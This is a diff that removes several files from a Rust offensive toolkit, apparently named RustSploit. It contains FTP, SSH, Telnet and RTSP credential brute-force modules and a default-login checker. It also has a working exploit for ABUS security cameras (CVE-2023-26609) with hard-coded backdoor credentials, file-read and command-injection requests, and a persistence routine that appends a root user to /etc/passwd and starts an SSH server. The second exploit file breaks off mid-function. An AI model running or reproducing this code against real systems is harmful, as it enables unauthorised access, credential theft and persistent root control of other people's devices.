println!("[-] Server does not accept 'anonymous' user.");
return Ok(());
}
// Send PASS anything (or empty)
writer.write_all(b"PASS anonymous\r\n")?;
writer.flush()?;
response.clear();
reader.read_line(&mut response)?;
print!("[<] {}", response);
if response.starts_with("2") {
println!("[+] Anonymous login successful!");
} else {
println!("[-] Anonymous login failed.");
}
Ok(())
}
-235
View File
@@ -1,235 +0,0 @@
use anyhow::{anyhow, Result};
use async_ftp::FtpStream;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
sync::Mutex,
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== FTP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let _pass_len = pass_lines.len();
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
// Pair same line index if available
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_ftp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
match FtpStream::connect(addr).await {
Ok(mut stream) => match stream.login(user, pass).await {
Ok(_) => {
let _ = stream.quit().await;
Ok(true)
}
Err(e) => {
if e.to_string().contains("530") {
Ok(false)
} else {
Err(anyhow!("FTP error: {}", e))
}
}
},
Err(e) => Err(anyhow!("Connection error: {}", e)),
}
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
-7
View File
@@ -1,7 +0,0 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod rtsp_bruteforce_advanced;
@@ -1,371 +0,0 @@
use anyhow::{anyhow, Result};
use base64::Engine as _;
use base64::engine::general_purpose::STANDARD as Base64;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::SocketAddr,
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::Mutex,
time::{sleep, Duration},
};
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
println!("=== Advanced RTSP Brute Force Module ===");
println!("[*] Target: {}", target);
//------------------------------
// 1) Basic Brute Force Settings
//------------------------------
let port: u16 = loop {
let input = prompt_default("RTSP Port", "554")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rtsp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
//------------------------------
// 2) Advanced Features
//------------------------------
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
// By default, we'll demonstrate a DESCRIBE method.
// You could prompt for multiple commands, but here's one for simplicity.
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
// Prompt for custom headers file
let headers_file = prompt_yes_no("Load extra RTSP headers from a file?", false)?;
if headers_file {
let headers_path = prompt_required("Path to RTSP headers file")?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
//------------------------------
// 3) Brute Force RTSP Paths
//------------------------------
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
// If not brute forcing paths, we just do an empty vector or single slash
vec!["".to_string()] // We'll interpret "" as no path specified
};
//------------------------------
// 4) Begin Brute Force
//------------------------------
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
// Load user list
let users = load_lines(&usernames_file)?;
// Load password list
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let mut idx = 0;
// For each password
for pass in pass_lines {
// If we've already found valid creds and we're stopping on success, break early
if *stop.lock().await {
break;
}
// If combo_mode is true, each password tries all users.
// Otherwise, line up each user with the “idx” (like a parallel dictionary).
let userlist = if combo_mode {
users.clone()
} else {
// Use user at "idx % users.len()" if were not in combo_mode
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
// We batch tasks up to "concurrency"
let mut handles = vec![];
// For each username
for user in userlist {
// For each path
for path in &paths {
if *stop.lock().await {
break;
}
// Clone references for the task
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let path = path.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
// The advanced method & headers
let command = advanced_command.clone();
let headers = advanced_headers.clone();
let handle = tokio::spawn(async move {
// Check again if we've been signaled to stop
if *stop.lock().await {
return;
}
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
Ok(true) => {
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
println!("[+] {} -> {}:{} [path={}]",
addr, user, pass, path_str);
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path));
}
Err(e) => {
log(verbose, &format!("[!] {} -> error: {}", addr, e));
}
}
// A short delay between attempts
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
// If we reach concurrency, wait for them to finish before scheduling more
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
}
// Wait for any leftover tasks in the batch
for h in handles {
let _ = h.await;
}
idx += 1;
}
//------------------------------
// 5) Show Results / Save
//------------------------------
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found (with these paths).");
} else {
println!("\n[+] Valid credentials (and paths):");
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass, path) in creds.iter() {
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
/// Attempt to authenticate via RTSP (with optional advanced method + headers).
/// Returns Ok(true) if successful, Ok(false) if incorrect credentials, Err(...) if we cant connect/parse response.
async fn try_rtsp_login(
addr: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
// Parse the address to confirm it's valid
let socket_addr: SocketAddr = addr.parse()
.map_err(|e| anyhow!("Invalid socket address '{}': {}", addr, e))?;
// Open TCP connection to camera
let mut stream = TcpStream::connect(socket_addr)
.await
.map_err(|e| anyhow!("Connection error: {}", e))?;
// If the user wants advanced mode, use "method" (e.g., DESCRIBE) + headers.
// Otherwise, fallback to OPTIONS. We'll do "DESCRIBE" by default if method is Some("DESCRIBE").
let rtsp_method = method.unwrap_or("OPTIONS");
// Build path portion (some cameras expect the path in the request line).
// If path is empty, we skip it. Or default to / if you want.
let path_str = if path.is_empty() {
"" // or "/"
} else {
path
};
// Build Basic Auth
let credentials = Base64.encode(format!("{}:{}", user, pass));
// Build the RTSP request line
let mut request = format!(
"{method} rtsp://{addr}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
addr = addr,
path = path_str.trim_start_matches('/'), // avoid double slash
auth = credentials,
);
// Append extra headers if advanced mode is on
for header in extra_headers {
// We assume each line in extra_headers is valid, e.g. "User-Agent: MyCameraClient"
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
// End with a blank line
request.push_str("\r\n");
// Send request
stream.write_all(request.as_bytes()).await?;
// Read response
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("Server closed connection unexpectedly."));
}
let response = String::from_utf8_lossy(&buffer[..n]);
// Very naive checks
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("Unexpected RTSP response:\n{}", response))
}
}
/// Prompts the user for a required field (no default allowed).
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
/// Prompts the user for a value with a default fallback.
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
/// Prompts the user for a yes/no question, with a default answer.
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
/// Loads a file, returning non-empty lines in a Vec.
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect())
}
/// Prints log messages only in verbose mode.
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
/// Returns a PathBuf in the current directory for the given filename.
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
@@ -1,26 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A sample credential check - tries a basic auth login
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking default creds on: {}", target);
let url = format!("http://{}/login", target);
let client = reqwest::Client::new();
// Hypothetical login using "admin:admin"
let resp = client
.post(&url)
.basic_auth("admin", Some("admin"))
.send()
.await
.context("Failed to send login request")?;
if resp.status().is_success() {
println!("[+] Default credentials admin:admin are valid!");
} else {
println!("[-] Default credentials admin:admin failed.");
}
Ok(())
}
-240
View File
@@ -1,240 +0,0 @@
use anyhow::{anyhow, Result};
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
sync::Mutex,
task::spawn_blocking,
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== SSH Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", "22")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_ssh_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let addr = addr.to_string();
let user = user.to_string();
let pass = pass.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&addr) {
Ok(tcp) => {
let mut sess = Session::new()?; // ✅ fixed here
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user, &pass) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
Err(e) => Err(anyhow!("Connection error: {}", e)),
}
})
.await??;
Ok(result)
}
// === Utility Functions ===
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
@@ -1,217 +0,0 @@
use anyhow::{Result, Context};
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::ToSocketAddrs;
use std::sync::{Arc, Mutex};
use telnet::Event;
use threadpool::ThreadPool;
use crossbeam_channel::{unbounded};
use telnet::Telnet;
pub async fn run(target: &str) -> Result<()> {
println!("\n=== Telnet Bruteforce Module (RustSploit) ===\n");
let target = target.to_string();
let port = prompt("Port (default 23): ").parse().unwrap_or(23);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try every username with every password? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose mode? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = TelnetBruteforceConfig {
target,
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
};
run_telnet_bruteforce(config)
}
#[derive(Clone)]
struct TelnetBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
}
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
let addr = format!("{}:{}", config.target, config.port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address")?
.next()
.context("Unable to resolve target address")?;
println!("\n[*] Starting Telnet bruteforce on {}", socket_addr);
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
let creds = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for user in &usernames {
for pass in &passwords {
tx.send((user.clone(), pass.clone()))?;
}
}
} else {
if usernames.len() == 1 {
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
} else if passwords.len() == 1 {
for user in &usernames {
tx.send((user.clone(), passwords[0].clone()))?;
}
} else {
println!("[!] Warning: Multiple usernames and passwords loaded, but full_combo is OFF. Trying first username with all passwords.");
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
}
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let creds = Arc::clone(&creds);
let config = config.clone();
pool.execute(move || {
while let Ok((username, password)) = rx.recv() {
if *stop_flag.lock().unwrap() {
break;
}
if config.verbose {
println!("[*] Trying {}:{}", username, password);
}
match try_telnet_login(&addr, &username, &password) {
Ok(true) => {
println!("[+] Valid credentials: {}:{}", username, password);
creds.lock().unwrap().push((username, password));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
break;
}
}
Ok(false) => {}
Err(e) => {
if config.verbose {
eprintln!("[!] Error: {}", e);
}
}
}
}
});
}
pool.join();
let creds = creds.lock().unwrap();
if creds.is_empty() {
println!("[-] No valid credentials found.");
} else {
println!("\n[+] Found credentials:");
for (u, p) in creds.iter() {
println!(" - {}:{}", u, p);
}
let save = prompt("\n[?] Save credentials to file? (y/n): ");
if save.trim().eq_ignore_ascii_case("y") {
let filename = prompt("Enter filename to save: ");
if let Err(e) = save_results(&filename, &creds) {
eprintln!("[!] Failed to save results: {}", e);
} else {
println!("[+] Results saved to '{}'", filename);
}
}
}
Ok(())
}
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
let mut connection = Telnet::connect((addr, 23), 256)
.context("Failed to connect to Telnet server")?;
let mut login_prompt_seen = false;
let mut pass_prompt_seen = false;
for _ in 0..10 {
let event = connection.read().context("Failed to read from Telnet")?;
match event {
Event::Data(buffer) => {
let output = String::from_utf8_lossy(&buffer).to_lowercase();
if !login_prompt_seen && (output.contains("login:") || output.contains("username")) {
connection.write(format!("{}\n", username).as_bytes())?;
login_prompt_seen = true;
} else if login_prompt_seen && !pass_prompt_seen && output.contains("password") {
connection.write(format!("{}\n", password).as_bytes())?;
pass_prompt_seen = true;
} else if pass_prompt_seen {
// Look for signs of successful or failed login
if output.contains("incorrect")
|| output.contains("failed")
|| output.contains("denied")
{
return Ok(false);
} else if output.contains("last login")
|| output.contains("$")
|| output.contains("welcome")
|| output.contains("#")
{
return Ok(true);
}
}
}
_ => {}
}
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Unable to open {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u, p) in creds {
writeln!(file, "{}:{}", u, p)?;
}
Ok(())
}
fn prompt(message: &str) -> String {
print!("{}", message);
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
input.trim().to_string()
}
-2
View File
@@ -1,2 +0,0 @@
pub mod generic; // <-- lowercase folder name
pub mod camera;
@@ -1,126 +0,0 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
use anyhow::{Result, anyhow};
use reqwest::Client;
use std::io::{self, Write};
/// // Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
// // ABUS Security Camera LFI
let url = format!(
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
target, filepath
);
println!("[*] Sending LFI request to: {}", url);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
println!("[+] Status: {}", status);
println!("[+] Body:\n{}", body);
Ok(())
}
/// // Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
// // ABUS Security Camera RCE
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
target, cmd
);
println!("[*] Sending RCE request to: {}", url);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
println!("[+] Status: {}", status);
println!("[+] Body:\n{}", body);
Ok(())
}
/// // Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
// // /etc/dropbear/dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating SSH key on target...");
exploit_rce(client, target, cmd).await
}
/// // Stage 2: Add root user with known password hash
async fn inject_root_user(client: &Client, target: &str) -> Result<()> {
// // echo d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh >> /etc/passwd
let cmd = "echo%20d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh%20>>%20/etc/passwd";
println!("[*] Injecting root user into /etc/passwd...");
exploit_rce(client, target, cmd).await
}
/// // Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
// // /etc/dropbear/dropbear -E -F
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH server...");
exploit_rce(client, target, cmd).await
}
/// // Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str) -> Result<()> {
generate_ssh_key(client, target).await?;
inject_root_user(client, target).await?;
start_dropbear(client, target).await?;
println!("[+] Persistence complete! Try logging in:");
println!(" sshpass -p <PASSWORD> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa d1g@{}", target);
Ok(())
}
/// // Prompt user for LFI, RCE, or SSH and execute accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Exploit mode selection for target: {}", target);
println!("[1] LFI");
println!("[2] RCE");
println!("[3] SSH Persistence");
print!("> ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
let choice = choice.trim();
match choice {
"1" => {
print!("Enter file path to read (e.g. /etc/passwd): ");
io::stdout().flush()?;
let mut filepath = String::new();
io::stdin().read_line(&mut filepath)?;
exploit_lfi(&client, target, filepath.trim()).await?;
}
"2" => {
print!("Enter command to execute (e.g. id): ");
io::stdout().flush()?;
let mut command = String::new();
io::stdin().read_line(&mut command)?;
exploit_rce(&client, target, command.trim()).await?;
}
"3" => {
persist_root_shell(&client, target).await?;
}
_ => return Err(anyhow!("Invalid choice")),
}
Ok(())
}
/// // Entry point for the exploit module used by the dispatch system
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
@@ -1,93 +0,0 @@
use anyhow::{Result};
use reqwest::Client;
use std::io::{self, Write};
use md5;
/// // Send a command using the vulnerable RCE endpoint
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
target, cmd
);
println!("[*] Sending RCE payload: {}", cmd);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
println!("[+] Status: {}", status);
println!("[+] Response:\n{}", body);
Ok(())
}
/// // Generate Dropbear SSH keys on the target system
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating Dropbear SSH key...");
exploit_rce(client, target, cmd).await
}
/// // Inject a root user with a hashed password into /etc/passwd
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
